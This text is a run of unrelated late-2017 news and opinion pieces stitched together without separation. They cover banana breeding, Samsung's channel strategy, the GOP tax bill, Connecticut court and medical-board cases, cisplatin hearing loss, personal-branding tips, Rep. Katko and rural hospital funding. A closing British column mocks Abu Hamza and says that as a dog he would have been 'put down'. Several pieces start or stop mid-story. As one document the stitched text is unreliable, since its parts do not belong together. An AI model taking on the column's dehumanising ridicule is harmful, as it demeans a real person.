Many have seeds the size of peas. Some are mushy, have thin skins or ripen too quickly. Some are even self-peeling, hanging on plants with their flesh exposed.

The consumer is very attached to the highly predictable and totally dependable Cavendish banana, said Miguel Munoz, a scientist based in Costa Rica at Dole Food Co., which sells more than five billion pounds of the fruit globally each year. It is almost perfect, he lamented.
The Mobile Age

After a year of re-engineering its mobile efforts in the channel, Samsung's mobility business is positioned for huge growth in 2018 with partners, Samsung mobile channel chief Mike Coleman told CRN. The former HP executive believes the opportunity is on par with what he saw at HP when that company first began to embrace the channel decades ago. That will mean a lot more deals with Samsung partners and a lot of new partners coming aboard with the company in the next year, he said. "We have now laid the groundwork for what I consider to be explosive growth, in terms of partner recruitment, in 2018," Coleman told CRN during an interview at Samsung's retail and corporate outpost in New York. "We had significant growth in 2017 [in channel sales]. And we expect to have significant growth in 2018."

The optimism is based in part on Samsung's novel approach to bringing mobility solutions to market, which includes trailblazing moves such as selling unlocked Galaxy smartphones through channel partners and developing vertical-specific solutions for businesses, at a time when other smartphone vendors remain almost exclusively focused on consumers.

Coleman, who joined Samsung as vice president of mobile channels in January 2017, spoke with CRN about what Samsung has accomplished so far in re-engineering its mobile channel efforts, why mobility is such a large opportunity for partners, and what to expect in 2018. What follows is an excerpt of CRN's interview with Coleman.
The Biggest Network Headlines Of 2017

The networking world will remember 2017 as the year intent-based networking and software-defined WAN took center stage with plans of redefining the network. Next-generation technologies like machine learning and artificial intelligence made its way into the industry as leaders looked to make smarter, more intelligent and cost-effective networks.

The networking landscape itself was shaken up with vendors like Aruba and Extreme Networks making some serious advancements, while players such as Avaya and Brocade Communications had a rough 2017. As the market tries to reinvent itself in the digital age through software and subscription-based selling, 2017 was truly a transformational year for networking. CRN breaks down the 10 biggest stories of 2017 that captured the network world's attention.

Get more of CRN's 2017 tech year in review .
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WASHINGTON - Republicans are on the verge of passing the most significant overhaul of the tax code since 1986, after the Senate approved the GOP plan Tuesday evening and House leaders scheduled a Wednesday morning vote to send it to President Donald Trump.

The sprawling plan would cut the corporate tax rate dramatically and provide new breaks for other businesses. It also would lower income tax bills in 2018 for the vast majority of households, though the wealthy would see far more relief than the middle class and working poor.

The plan would revise nearly every part of the tax system by lowering income tax rates at all levels and restructuring deductions. And it extends beyond taxes and into health care by scrapping a central part of the Affordable Care Act.

GOP leaders appeared to ensure the bill's passage Friday when they secured support from holdout Republican Sens. Marco Rubio, Fla., and Bob Corker, Tenn.

"Congress is standing at the doorstep of a historic opportunity," Senate Majority Leader Mitch McConnell, R-Ky., said Tuesday ahead of the vote. "Here's what we set out to do: Take money out of Washington's pockets and put it back in the pockets of middle-class Americans."

House Republicans thought they had finished their tax work on Tuesday afternoon when they passed a version of the bill 227 to 203. But the effort hit a snag Tuesday afternoon when the Senate parliamentarian ruled that three of its provisions violated that chamber's Byrd Rule - guidelines on what types of legislation can pass with a simple 50-vote majority.

The Senate made a series of minor tweaks to the bill to comply with the Byrd Rule Tuesday before passing the bill, requiring the House to vote again as the two chambers must pass identical versions. The House vote is slated for Wednesday morning, and none of the changes are expected to cost the plan any GOP support.

Despite the delay, Republicans celebrated Tuesday in anticipation of their plan passing, their first major legislative victory of the Trump presidency.

Trump has for months pushed Republican lawmakers to send him a tax plan by Christmas and is expected to sign the measure at a ceremony shortly after it clears Congress.

"This is one of the most important pieces of legislation Congress has passed in decades . . . For all those millions of Americans struggling paycheck to paycheck, help is on the way," House Speaker Paul Ryan, R-Wis., said after the House vote. "This is a good day for workers . . . and a great day for growth."

The core of the plan is a massive and permanent cut to the corporate tax rate, dropping it from 35 percent to 21 percent.

The bill also would cut individual tax rates for all income tax levels. Families earning less than $25,000 a year would receive an average tax cut of $60, while those earning more than $733,000 would see an average cut of $51,000, according to the nonpartisan Tax Policy Center.

Many of the breaks for individuals are set to expire in the coming years. Republicans set those expiration dates to comply with Senate limits on how much their legislation could add to the nation's deficit, and they say a future Congress will extend the cuts or make them permanent.

But without intervention, the measure would raise taxes on 53 percent of Americans by 2027, according to the TPC's report.

The bill also restructures a complicated system of deductions many households and businesses use to lower their tax bills. The standard deduction, taken by many middle- and low-income households, would double, and a child tax credit would be expanded. But other money-saving provisions, including a deduction on interest paid on new-home mortgages and a provision allowing Americans to deduct what they pay in state and local taxes, would be curtailed.

Of the 12 Republicans in the House who voted against the bill, 11 represent districts in New York, New Jersey or California. Those states are expected to be hit hard by the bill's reduction of the state and local tax deduction, which helps those in high-tax states.

"Many in my area could face higher taxes under this plan," Rep. Darrell Issa, R-Calif., one of the no votes, said in a statement before the vote. "Californians have entrusted me to fight for them. I will not make the incredible tax burden they already endure even worse."

The bill also would reduce the estate tax, a levy on inheritances paid only by the wealthiest estates. Under the bill, a couple could pass on up to $22 million in assets without their legatees having to pay the tax.

The bill also would void an Affordable Care Act requirement that nearly all Americans obtain some form of health coverage or pay a penalty. The change is projected to reduce government spending by $300 billion over a decade but also eventually leave 13 million more people with no health insurance.

Republicans have touted their bill as a middle-class tax cut and have promised that it will produce enough economic growth to boost hiring and workers' wages, and create enough revenue to keep it from enlarging the deficit.

In an analysis of an earlier version of the bill, the Joint Committee on Taxation, Congress's official tax scorekeeper, projected that the bill would add $1 trillion to the deficit over a decade, even when projected economic growth is taken into account. That figure would grow substantially if the individual tax cuts were extended, and Republicans predict that they will be.

The JCT projected that the earlier version of the plan would boost economic growth by 0.8 percent over a decade, far lower than the 3 percent growth Republicans on Tuesday promised their plan would unlock.

"We have not had a 3 percent economy since before the last recession," Ryan said before the vote. "Tax reform will get us a 3 percent economy."

Democrats unanimously oppose the plan but lack the votes to block it in either chamber. The sidelined minority's members have spent months bashing the plan as a giveaway to corporations and the wealthy.

"Today is a terrible day for millions of hard-working people, but it is a great day for giant multinational corporations and billionaires who fund Republican campaigns across this country," Sen. Elizabeth Warren, D-Mass., said on the Senate floor Tuesday ahead of the vote. "It's not tax reform. It's a heist."

During the House vote, Treasury Secretary Steven Mnuchin and a handful of his staff members, who also watched the proceedings from the public gallery. The Republican caucus rose in near unanimous applause after the final vote was counted, then went to congratulate Ryan and House Ways and Means Committee Chairman Kevin Brady, R-Texas, with smiles and pats on the back.

There were signs of opposition, as well. A handful of activists sitting in the public gallery repeatedly interrupted Republicans as they introduced the tax measure in the House, and a separate group interrupted the Senate vote with chants of "kill the bill."

Several of the House protestors were escorted out by Capitol Police officers.

"You are lying to yourselves!," one activist yelled as she told House Republicans they needed to go back to school to learn math. The barb elicited laughter among the Democrats on the House floor.

A woman in a wheelchair chanted, "Shame! Shame!" as she was removed from the gallery.

Polling suggests that the public is broadly skeptical of the plan. A CNN poll released Tuesday found that only 33 percent of Americans support it, with 66 percent of the country thinking it does more for the wealthy than for the middle class.

But Ryan said he had "no concerns whatsoever" about the bill's polling, arguing that public support would swing in favor of the package once taxpayers see their after-tax incomes rise.

"Results are going to make this popular," Ryan said.

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Video: Republicans in the House passed the GOP tax bill on Dec. 19, while Democrats continue to voice their protest. It is expected to pass in the Senate this evening.

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Video: Republicans in the House passed the GOP tax bill on Dec. 19, while Democrats continue to voice their protest. The bill is expected to pass in the Senate in the evening.(Jenny Starrs/The Washington Post)

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BRIDGEPORT - With the clock ticking on his required return to his native Philippines, a former Bridgeport Hospital physician, accused of sexually assaulting a male patient who went to him to see him for a heart exam, was granted a special probation program Tuesday.

He is going back to the Philippines where he is not likely to offend again, Sean Barrett, the lawyer for Dr. Louie Gangcuangco, told Superior Court Judge Maureen Dennis.

The judge agreed to grant accelerated rehabilitation for Gangcuangco.

Accelerated rehabilitation is a pretrial program available to people accused of nonviolent crimes. Under the program Gangcuangco, 31, did not plead guilty to charge of fourth-degree sexual assault against him but was placed on one year of probation. If he commits no other crimes during the probation the original charge will be dismissed.

As the doctor, dressed in a black suit with a red tie and red socks, stood by, Senior Assistant States Attorney Tatiana Messina told the judge she did not oppose the program.

I had been prepared to go forward today with the trial but the victim has decided he want to get on with his life, the prosecutor said.

The 53-year-old victim told the judge that while what Gangcuangco had done to him had caused him a lot of pain, he wasnt opposed to the probation program.

Im just not convinced he is remorseful, the victim said, briefly glancing at Dr. Gangcuangco, who stared straight ahead.

He had no permission, he shouldnt have done it and I just hope he doesnt do it again, he added.

Barrett later said that since his client was no longer working at the hospital because of his arrest his visa had expired and he now must return to the Philippines. He said if the case had gone to trial he anticipated presenting evidence contradicting the allegations.

He lost his position as a result of the case and up until then he had led an exemplary career as a physician, Barrett said.

Police said the victim, who previously had open-heart surgery at the hospital, told them he had gone to the Bridgeport Hospital Clinic to be examined prior to having his wisdom tooth pulled.

The man related that Dr. Gangcuangco had first asked him a series of health-related questions and then escorted him to an examining room where the doctor asked him to pull up his shirt so that he could listen to his heart, police said.

The doctor then unbuttoned his jeans and unzipped his zipper and he just figured the doctor wasnt done with the examination, the police report states.

But police said the doctor went further and the man protested and Gangcuangco, Smiled at him and he walked away. Dr. Gangcuangco opened up the curtain, washed his hands and walked out.

Police said the victim told them Gangcuangco later called him to find out how the tooth extraction went. He then offered to take the man out to a 99 Restaurant. When the victim told Gangcuangco he wasnt interested, police said the doctor responded: How about Red Lobster?
A former 40 year Atheist analyzes Atheism, without resorting to theism, deism, or fantasy.

***

If You Don't Value Truth, Then What DO You Value?

***

If we say that the sane can be coaxed and persuaded to rationality, and we say that rationality presupposes logic, then what can we say of those who actively reject logic?

***

Atheists have an obligation to give reasons in the form of logic and evidence for rejecting Theist theories.
STRATFORD  A Stratford man faces up to five years in prison after he pleaded guilty Monday to bankruptcy fraud, according to the Department of Justice.

Darryll Harmon, 44, of Stratford, waived his right to be indicted and pleaded guilty to one count of bankruptcy fraud in court on Monday.

Court documents and statements indicated that Harmon was in default on his insured mortgage, which was held by the Connecticut Housing Finance Authority. In Jan. 2009, CHFA began foreclosure proceedings on the property, the DOJ said.

From Jan. 2009 to Oct. 2013, Harmon filed seven petitions for bankruptcy in U.S. Bankruptcy Court for the District of Connecticut. These petitions put a stay on the foreclosure process until the bankruptcy proceedings were resolved.

The bankruptcy court dismissed all but one of the petitions because Harmon failed to pay filing fees and to file required information, the DOJ said.

On July 25, 2014, the bankruptcy court dismissed Harmons seventh petition. Along with this dismissal, the court barred Harmon from filing for bankruptcy for the two-year period of July 17, 2014, to July 17, 2016.

Regardless of this barring, Harmon filed another bankruptcy petition on July 1, 2016, the DOJ said. He filed this petition in the name of another individual who lived in Texas and falsely listed his home as the other individuals residence, forging the individuals signature on the petition.

The individual living in Texas did not authorize the petition to be filed and did not have knowledge of any of the filing procedure.

The false bankruptcy petition caused another automatic stay on the foreclosure sale of Harmons home. This stay, the DOJ said, prevented CHFA from foreclosing on the residence and collecting the debts owed.

The DOJ said bankruptcy fraud can carry a maximum term of five years in prison.

Harmon was released on a $75,000 bond. A sentencing date has yet to be scheduled.
The state Medical Examining Board on Tuesday dropped all charges against a former Fairfield doctor who illegally prescribed oxycodone because the doctor has voluntarily surrendered his medical license.

Paul Bellofiore, 57, of Trumbull, gave up his license in October, state Department of Public Health records show. Bellofiore, who had practiced in Fairfield, also agreed not to contest the allegations against him if he ever seeks to have his license reinstated.

In February, Bellofiore was sentenced in U.S. District Court in Hartford to two years of probation for illegally prescribing the painkiller. Judge Alvin W. Thompson also ordered him to perform 200 hours of community service and prohibited Bellofiore from writing prescriptions for controlled substances until Oct. 13 of this year, according to a press release from the U.S. Attorneys office. On that day, Bellofiore pleaded guilty to issuing unlawful prescriptions for oxycodone.

Bellofiore prescribed oxycodone until 2016 to a married couple who had relocated from Connecticut to Florida in 2011. Bellofiore knew the couple had obtained forged prescriptions in the past for opioid painkillers and should have been aware of the possibility that the couple was abusing the drugs, the press release said.

Twice a year, the couple returned to Connecticut and saw Bellofiore, who each time provided them with six months of predated prescriptions, the press release said. In February 2016, he provided a stack of prescriptions to a friend of the couple that were dated to make it appear that they had been issued monthly, the press release said. The prescriptions allowed the couple to receive thousands of oxycodone and Percocet pills, the U.S. Attorneys office said.

The couple then sold a significant number of the pills to a middleman for street-level resales of the painkillers in and around Waterbury, the press release said.

On Tuesday, the state medical board also reprimanded and fined Dr. David Pearlstone of Easton $7,500 and imposed a one-year probation on his license in connection with lapses in his care of a patient in 2015.

A consent order Pearlstone agreed to said that after draining an abscess, he failed to adequately assess the patient, who developed a fever and an abdominal infection. The order also states that Pearlstone failed to send the patient to a hospital emergency room to treat the infection or the potential for the patient to develop a fistula, which is an abnormal opening between organs that can be a complication from diverticulitis surgery.

He also failed to document his care for the patient in medical records, the consent order said. A DPH record states that the case grew out of the patients complaint about Pearlstones care. By signing the order, Pearlstone chose not to contest the allegations while admitting no wrongdoing.

If he practices medicine during the probation, Pearlstone must pay a doctor to review 20 percent of his patient charts. A DPH record says he is not currently practicing.
Contributed / Contributed

Researchers may have finally found the link between a potent cancer drug and certain kinds of hearing loss.

According the National Institute of Health, cisplatin  prescribed for roughly 10 to 20 percent of all cancer patients  have caused permanent hearing loss in 40 to 80 percent of adult patients and at least of the children who use it. Researchers from the NIH may have discovered why this happens, according to a study published in the journal Nature Communications.
BRIDGEPORT - Her testimony had been billed as the verdict buster - sure to result in a new trial for a local nurse convicted of killing a female college student and dismembering her body.

But what Tamara Warren actually said on the witness stand fell well short.

Last September a 12-member, Superior Court jury convicted Jermaine Richards of murder for killing his girlfriend, 20-year-old Alyssiah Marie Wiley of West Haven, and dismembering her body sometime after April 19, 2013.

During a hearing Tuesday, Richards lawyer, Walter Hussey, told Judge Earl Richards that Warren, a former witness in the case, was related to one of the jurors in the case and had information that would cause the guilty verdict to be overturned.

On the stand Tuesday, Warren, the mother of the children of a cousin of Jermaine Richards, testified she realized she was related to one of the male jurors in the case when she saw him enter the courtroom during the trial.

He is my sisters boyfriends sisters husband, she testified.

But under cross examination by Senior Assistant States Attorney Joseph Corradino, Warren couldnt recall the last time she had seen the juror on a social basis. And she said she had never discussed the Richards case with him.

Hussey had contended that Warren had seen something the juror had posted on the case on Facebook. But that again, turned out to be a bust.

No, Warren continued. She thought there had been something posted on Facebook but she wasnt able to find it.

Judge Richards said he would render his decision on the motion for a new trial by Jan. 26.

Wiley, a sophomore at Eastern Connecticut State University disappeared sometime after leaving the Willimantic campus on April 19, 2013, in Richards' car. Twenty-seven days later, after a statewide search and appeals by her mother on television, Wiley's grisly partial remains were found in a wooded area at the end of Quarry Road in Trumbull, a mile and a half from Richards Bridgeport home.
If you aren't fully committed to building your personal brand yet, it's time to go all-in. I'm a huge advocate when it comes to personal branding -- it's how I built my first marketing agency. I leveraged my personal brand and bootstrapped its growth, allowing me to avoid taking out a business loan or giving up equity to an investor. To this day, I retain 100 percent ownership of every business I operate.

When done right, you are able to establish yourself as an authority, create an authentic voice and attract business through transparency and expertise. I've discussed ways to build your personal brand in the past and mentioned some online personal branding tools that you can use -- and now I want to talk about effective strategies. I spoke with several entrepreneurs to come up with a list of a dozen ways you can elevate your personal brand in the upcoming year.

1. Launch a weekly email newsletter.

I have been sending out a weekly newsletter for several years, but through my company, so it's geared toward online marketing. In 2018, I am launching a personal website that will act as an information hub for all of my brands and projects. I will also start a weekly newsletter, and since it will be tied to my personal brand, I'll be able to talk about a wide range of topics.

"We constantly hear about the importance of building an email list," says Deep Patel, founder of Owlmetrics, "as email marketing is still one of the most effective marketing techniques, but building a list derived from your personal brand, rather than company, and sending out a weekly newsletter can be very beneficial.

"It's a list that you can market future ventures to, which is exactly how I announced my newest startup. I am able to put myself in front of an active audience every week, driving awareness to content I published, which helps strengthen my personal brand."

Related: 10 Tips for Creating the Perfect Social Media Content for Your Brand

2. Run a $3/day personal branding campaign on Facebook.

A lot of entrepreneurs are already running Facebook ads for their business, but they don't think of running ads to promote their personal brand. I'm currently running highly targeted Facebook ads that put my Facebook page in front of C-level executives at specific large brands I'm targeting -- it's the most cost-effective strategy I'm currently using to connect with high-level executives.

Dean Steadman, CEO of Dignity Bio Labs, says, "Facebook presents you with the ability to put yourself in front of the exact audience you want to attract. I suggest that everyone starts a public page in order to have a personal brand on the platform that is separate from your personal profile.

"Then, run ads targeting your ideal audience and set your budget to just $3 per day. This allows you to grow your personal brand on Facebook and push traffic to your website for less than $100 per month. This is an effective strategy that is affordable for all entrepreneurs."

3. Post regular long-form content on LinkedIn.

I have seen some entrepreneurs in my inner-circle completely crush it on LinkedIn, especially in this final quarter of the year. High quality long-form content can perform very well, helping you grow your LinkedIn audience, which you can then push to other social platforms, blogs and websites. Becoming active on LinkedIn is something I am committed to in 2018.

"LinkedIn has seen a major increase in popularity this year, which gives entrepreneurs the opportunity to be seen and heard by a very large and now active audience," Immanuel Debeer, digital marketing manager of Flight Hacks, says. "LinkedIn always had a large user base, but now its users are engaging with content more than they did in the past.

"Rather than just repurpose content, commit to writing some long-form content exclusively for your LinkedIn profile. By turning comments into conversations, you engage with your audience and establish yourself as an authority."

Related: 5 Steps to Building Your Personal Brand From Scratch

4. Create a standalone personal website.

As I mentioned above, I have a new personal website launching soon. With several brands and ventures these days, I feel that a personal website will help my personal brand. I will be leveraging it to push people to my various brands and also attract inbound inquiries about new ventures.

"It's very hard to build your personal brand," says Ben Larcey, co-founder of StoreKit, "if you are constantly tied to your company's marketing. Blogging on your company website or being the voice of your company's social media profiles can be good for your business, but if you are serious about building a brand built around you, then you need to take steps to separate your business and personal brand.

"A simple website with an 'About' page and a blog is all you need to get started. Start to consistently blog and share that content across your personal social media profiles. If it's available, opt for a first name + last name dot com domain."

5. Amplify your blog post across content discovery channels.

This is something I do with a lot of my consulting clients. We push content through paid distribution channels to get it immediate traction. The views and social shares you collect using this strategy also act as social proof.

Mark Feygin, co-founder of PowerSetter, says, "In order to build a strong personal brand that can then be leveraged, you need to build a following. Whether your goal is to build a strong social media following or a more in-depth CMS data base, you need to put valuable information in front of your target audience.

"Blogging is great, but only if people are reading and engaging with your content. One of the easiest ways to get out there, even if your website traffic is low, is to amplify your content through a discovery channel, such as Outbrain or Taboola. You only pay when someone clicks-through and you can start with a very small budget."

Related: 8 Reasons a Powerful Personal Brand Will Make You Successful

6. Participate in Twitter chats -- or start your own.

Twitter used to be my favorite social media platform, and Twitter chats back in the day -- especially in the online marketing industry -- offered a tremendous amount of value. Twitter's newest changes have me interested in getting active again, and participating in Twitter chats once again.

David Baddeley, director of Finance.co.uk, says, "Twitter chats were immensely popular years ago and have started to become popular one again, which I attribute to the recent increased interest in the new 280-character limit. The easiest way to find relevant Twitter chats to participate in is by following the most influential people in your industry.

"They are usually weekly events that last for 30 to 60 minutes, and feature a specific hashtag, which is how participants follow and engage with the discussion. Answering questions and providing value is an easy way to help strengthen your personal brand."

7. Start vlogging to document your entrepreneurial journey.

Starting a daily vlog in 2018 is one of the things I'm most excited about. I have a fun project starting soon and I can't wait to document the process. Filming all day and then editing at night is going to require dedication, but I'm fully committed.

"Vlogs have become very popular," says Rahe Riazi, CEO of Copperblu Media, "as mobile devices allow consumers to consume video content on the go. Entrepreneurs like Gary Vaynerchuk and Casey Neistat are prime examples of how one can grow a massive personal brand simply by vlogging their day-to-day life.

While their results aren't typical, you can still use the same strategy to build an audience, albeit much smaller than Neistat's 8.3 million subscribers. You will need a unique angle and story, but once you figure that out, the opportunity to attract an audience and raise your personal brand is limitless."

Related: Why You Should Launch a Brand, Not a Product

8. Donate your time and expertise to your local community to open doors.

For the past few years I have helped nonprofit organizations with their online marketing, pro bono. Over the years, this has resulted in being introduced to amazing contacts and being referred to some large brands.

Kristal Wingate, founder of Roof Top Services of Central Florida, Inc., says, "All personal brands have to start somewhere, and your local community is a great place to establish yourself as an expert in your field. By simply donating your time on a pro bono basis or providing your product or service, you will open up several avenues that can lead to an enhanced personal brand.

"This can include expert appearances on local radio and TV, interviews in local print and local speaking engagements. When you donate your time, you are viewed as a contributing member of the community, and you will see opportunities present themselves to you."

9. Start a weekly podcast.

I have consumed more podcast content in the past six months than I have my entire life. I have seen several entrepreneurs build massive podcast audiences, and that spilled over to their social media profiles, which really helped strengthen their personal brands. It's something I am considering doing myself in the not so distant future.

"Podcasts serve the same purpose as your social media profiles and blog," says Chris Rush, CEO of Staff Outsourcing. "They are a platform to put your expertise and knowledge on display, with the hopes of attracting an audience. Podcasts are portable and can be consumed during downtime, such as while commuting or at the gym.

"The cost to set up to record a podcast is minimal and there are numerous ways to distribute your show -- Apple Podcasts, Stitcher, SoundCloud, Overcast, iHeart Radio, Spotify, Google Play, TuneIn, Acast, Castbox, Otto Radio and Google Home are popular ways your audience can subscribe."

Related: 7 Ways To Grow Your Personal Brand in Less Than a Week

10. Never stop learning.

I spend time daily reading and learning -- absorbing as much information as possible. My industry is constantly changing, so if I failed to keep up with the changes it would have a negative impact on my personal brand, as my value would plummet.

"Before you can even think of offering advice and providing your input, you need to completely master your industry," David W. Craig, founding partner of Craig, Kelley & Faultless LLC, says. "Constantly learning by reading books, case studies and consuming as much information as possible keeps your mind full.

"You cannot expect to build a strong personal brand without something of value to give to those that follow you. The more effort you put into learning and information consumption, the more you can give back, which will only help you create a strong personal brand."

11. Network at key industry conferences.

Networking is the main reason I attend conferences. When I decide to attend a conference, that decision is based on the networking opportunities and not necessarily the speakers or sessions. I've attended conferences in the past and skipped the actual event, putting all effort into networking in the evening.

Mark Leman, marketing director of Blinds UK, says, "Connecting with just one key influencer within your industry can lead to massive exposure for your personal brand, so when attending conferences, make sure you have a well-thought-out game plan in place before you even step off the plane.

Have your targets identified in advance and try to pre-schedule times to meet, either in-between sessions or at evening events. A mention in a blog post, shout out on social media or a plug in an email newsletter of an industry influencer can do wonders for your personal brand."

12. Invest in professional photography.

I use the same headshot everywhere -- from my social media profiles to my author bios -- and that consistency is key if you are serious about building a strong personal brand. My photo is almost two years old, so I plan on knocking some new ones out in the early part of the new year. Aside from being professional pictures, I also think they should be fairly current in terms of appearance.

"If you want to have your personal brand taken seriously," Vijay Nair, CEO of Sleepaider, says, "you need to use a professional headshot across all of your social media profiles and online accounts. Rather than snapping a selfie with your iPhone camera, spend a couple hundred dollars to have professional headshots taken in a studio.

Your personal brand will look much more professional, and when your audience starts to see the same picture on several platforms and in the media, they begin to take notice and take what you have to say more serious. A low-quality headshot can immediately tarnish your personal brand."

Related:

12 Ways to Elevate Your Personal Brand in 2018

How to Create an Epic Brand Story Like Elon Musk's and Henry Ford's

4 Online Entrepreneurial Personas People Just Don't Find Believable



Copyright 2017 Entrepreneur.com Inc., All rights reserved



This article originally appeared on entrepreneur.com


A Democratic super political action committee rolled out three holiday-themed billboards targeting three Republicans, including U.S. Rep. John Katko, for supporting the $1.5 trillion tax plan.

House Majority PAC, which aims to elect Democrats to Congress, paid for the billboard criticizing Katko, R-Camillus, for his vote. While Katko hasn't revealed his position on the final tax legislation, he supported the House bill in mid-November.

The billboards refer to the GOP tax plan as a "scheme." The cost of the advertisements wasn't disclosed.

"(House Majority PAC) is making sure that voters know the facts about the Republicans' toxic tax scam," said Charlie Kelly, the PAC's executive director. " These members of Congress are bringing their constituents a horrible holiday gift."

Along with Katko, the billboards will target U.S. Rep. Mike Bishop, who represents Michigan's 8th Congressional District, and U.S. Rep. Jason Lewis, who represents Minnesota's 2nd Congressional District.

The billboard in Lewis' district will run for two weeks, according to House Majority PAC. The billboards targeting Bishop and Katko will run for four weeks.

House Majority PAC rolled out the billboards just as Congress is working to finalize the tax plan this week. The House and Senate are expected to vote on a final agreement. President Donald Trump could sign the legislation before Christmas.
U.S. Rep. John Katko joined most House Republicans in supporting the final $1.5 trillion tax plan Tuesday.

Before the House voted on the measure, Katko, R-Camillus, touted "significant wins" for central New York in the tax plan.

He highlighted the elimination of a provision that would have considered tuition waivers for graduate students as taxable income. An earlier version of the tax bill that Katko supported included the change, but it was removed when House and Senate leaders negotiated the final agreement released Friday.

Katko signed a letter urging congressional leaders to remove the provision. He said it would harm the region's economy, which benefits from the presence of Syracuse University and other higher education institutions.

Dr. Linda LeMura, president of Le Moyne College, praised Katko for advocating on behalf of colleges and universities in his district.

"Many members of the Le Moyne community, as well as our students, contacted him about certain aspects of the bill and he listened to what those concerns were," LeMura said. "His support will help institutions of higher education maintain their competitive edge."

Katko also pushed for the restoration of the historic preservation tax credit and keeping tax-exempt status for private activity bonds.

The House tax proposal called for the elimination of the historic tax credit, while Senate Republicans wanted to alter the credit by providing support over a five-year period. The final agreement includes the Senate's language to modify the historic tax credit.

The credit has been an important tool for rehabilitation projects, including Hotel Syracuse (now Marriott Syracuse Downtown) in Katko's district. Syracuse Mayor Stephanie Miner was one of the local leaders concerned about the possible elimination of the credit.

Maintaining tax-exempt status for private activity bonds is key for infrastructure projects, Katko said. The bonds can be used for housing projects, school district capital projects and hospital upgrades.

"Auburn Hospital is grateful for the efforts of Rep. Katko to ensure private activity bonds remain tax-exempt," said Scott Berlucchi, president and CEO of Auburn Community Hospital. "These are critical financing tools for investment in our hospital and its infrastructure."

Katko also claimed credit for helping negotiate a compromise on the state and local tax deduction. This has been an issue for New York Republicans as they consider whether to support the tax bill.

Five New York Republicans, including U.S. Rep. Elise Stefanik, oppose the final tax agreement. One of the main reasons for their opposition is the change to state and local tax deductability.

The final tax bill allows filers to deduct up to $10,000 of state and local income, property or sales taxes. An earlier version of the House bill called for the elimination of the deduction. The measure voted on by the House in mid-November contained a compromise: allowing a deduction of up to $10,000 for property taxes only.

That has been altered in the final bill to include income and sales taxes. But it still wasn't enough for a handful of New Yorkers to get on board.

For Katko, it's a win. He supported the compromise in the House bill and the addition of income and sales taxes to the modified deduction in the conference committee report.

"The final tax legislation that the House will consider today contains significant wins for our community," he said in a statement. "It safeguards the historic preservation tax credit, the income exclusion for graduate tuition waivers and tax-exempt status for private activity bonds. I was proud to fight for our community's best interests and truly believe that with passage of this bill, we can help grow our local economy to its fullest potential."
Five members of Congress want to fix an error made by a northeastern Medicare contractor that had a significant financial impact on Auburn Community Hospital and 15 other rural hospitals in upstate New York.

U.S. Reps. Chris Collins, John Faso, John Katko, Elise Stefanik and Claudia Tenney have asked House leaders to include language in an upcoming spending bill that would address the error. Congress needs to pass a continuing resolution by the end of this week to avoid a government shutdown.

The problem stems from a calculation of the hospitals' Volume Decrease Adjustment, a payment formula for hospitals that have a decrease in patient volume over a one-year period.

The goal of the adjustment is to cover some of the hospitals' costs, such as essential services and staff. The members of Congress noted that the Volume Decrease Adjustment is "critical to ensure continued operations."

However, the Medicare contractor for New York and New England hospitals made an error while calculating the Volume Decrease Adjustment for 16 rural hospitals. These hospitals have had to repay more than $15 million with interest  a rate of more than 9 percent.

Katko, R-Camillus, said the error affected two hospitals in his district. In addition to Auburn, the mistake hurt Oswego Hospital.

"The financial impacts of volume decrease adjustments would be devastating to these hospitals," he said. "It is crucial that Congress prevent these potential cuts and I will continue to fight alongside my New York colleagues to have this addressed in upcoming legislation."

Other hospitals affected by the Medicare error include Adirondack Medical Center and Massena Memorial Hospital in Stefanik's district, Cortland Regional Medical Center and Rome Memorial Hospital in Tenney's district, Wyoming County Community Health System in Collins' district and Aurelia Osborn Fox Memorial Hospital in Faso's district.

Stefanik, R-Willsboro said the error threatens the stability of several New York hospitals.

"These are important providers in rural communities like ours that provide care for seniors, the sick and the most vulnerable," Stefanik said. "It's important to rural hospitals in our region that this issue is addressed in any government funding measure."

Congress has a busy agenda this week before Christmas. Not only is a continuing resolution needed, but Republicans hope to pass tax reform legislation. It would be the first major legislative victory for the GOP since President Donald Trump took office in January.
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Bang on cue for the start of panto season, up pops Captain Hook, one of the most grotesque pantomime villains of recent years.

No, not Captain Hook, of Peter Pan fame. I'm talking about the mad mullah of Finsbury Park mosque fame, currently residing in a federal supermax prison in Colorado. You remember Hooky, poster boy for Islamist terrorism in Britain until he was finally arrested and extradited to America, where he is currently doing life without parole.

Apparently, he's homesick, poor lamb. Those nasty Yanks are being really horrid to him, keeping him banged up in solitary confinement 23 hours a day.

His lawyers have just filed a 242-page appeal, claiming his detention is a breach of Article 3 of the Human Rights Act, which prohibits inhumane and degrading treatment.

Hook, who prefers to be known as Abu Hamza, but whose real name is (might be) Mostafa Kamel Mostafa, wants to be sent back to Britain to complete his sentence. I bet he does. In Belmarsh maximum security prison, South-East London, he was treated like a celebrity, surrounded by other bloodthirsty jihadists and indulged by the authorities, on account of his various disabilities.

Hook, who prefers to be known as Abu Hamza, wants to be sent back to Britain to complete his sentence

He's blind in one eye and has two hooks where his hands used to be  the result, depending on which story you believe, of an unfortunate explosion while he was defusing explosives for the Pakistani military. Either that, or he blew them off while making bombs for the Taliban in Afghanistan, or had them chopped off for shoplifting under Sharia law.

Whatever the explanation, no one would deny his physical deficiencies. If he was a dog, he'd be called 'Lucky'. Then again, if he was a dog, he would have been put down years ago.

Hook was preaching hate long before 9/11 and was instrumental in recruiting terrorists such as the shoe-bomber Richard Reid. But he managed to avoid arrest for years.

Even when he was kicked out of Finsbury Park mosque, he was given a police escort to carry on his incendiary ranting in the street. I assumed that he was only afforded such licence because he was working for M15.

It wasn't until the Americans demanded his extradition over allegations that he'd helped set up a terrorist training camp in Arizona that the British authorities decided belatedly to feel his collar.

In 2006, he was convicted of a series of terror offences in this country and sent to Belmarsh. Once behind bars, he was allowed to keep his hooks and plumbers were called in to convert the existing screw taps on the wash basin in his cell to special levers.

He was even provided with a personal chiropodist to cut his toenails  a task I filed at the time under What's The Worst Job You Ever Had? I shouldn't have been surprised if they'd installed a bidet in his cell, given the obvious, not to say painful, challenges which metal hooks on both hands must pose to the more intimate aspects of personal hygiene.

After serving six years, and following a drawn-out, taxpayer-funded legal battle, he was extradited to the States, where he was found guilty of 11 terrorism charges. He's now spending his days in a 7 x 12ft cell at a jail dubbed the 'Alcatraz of the Rockies'.

Oh dear, how sad, never mind.

Lawyers working for Abu Hamza (pictured) have just filed a 242-page appeal, claiming his detention is a breach of Article 3 of the Human Rights Act

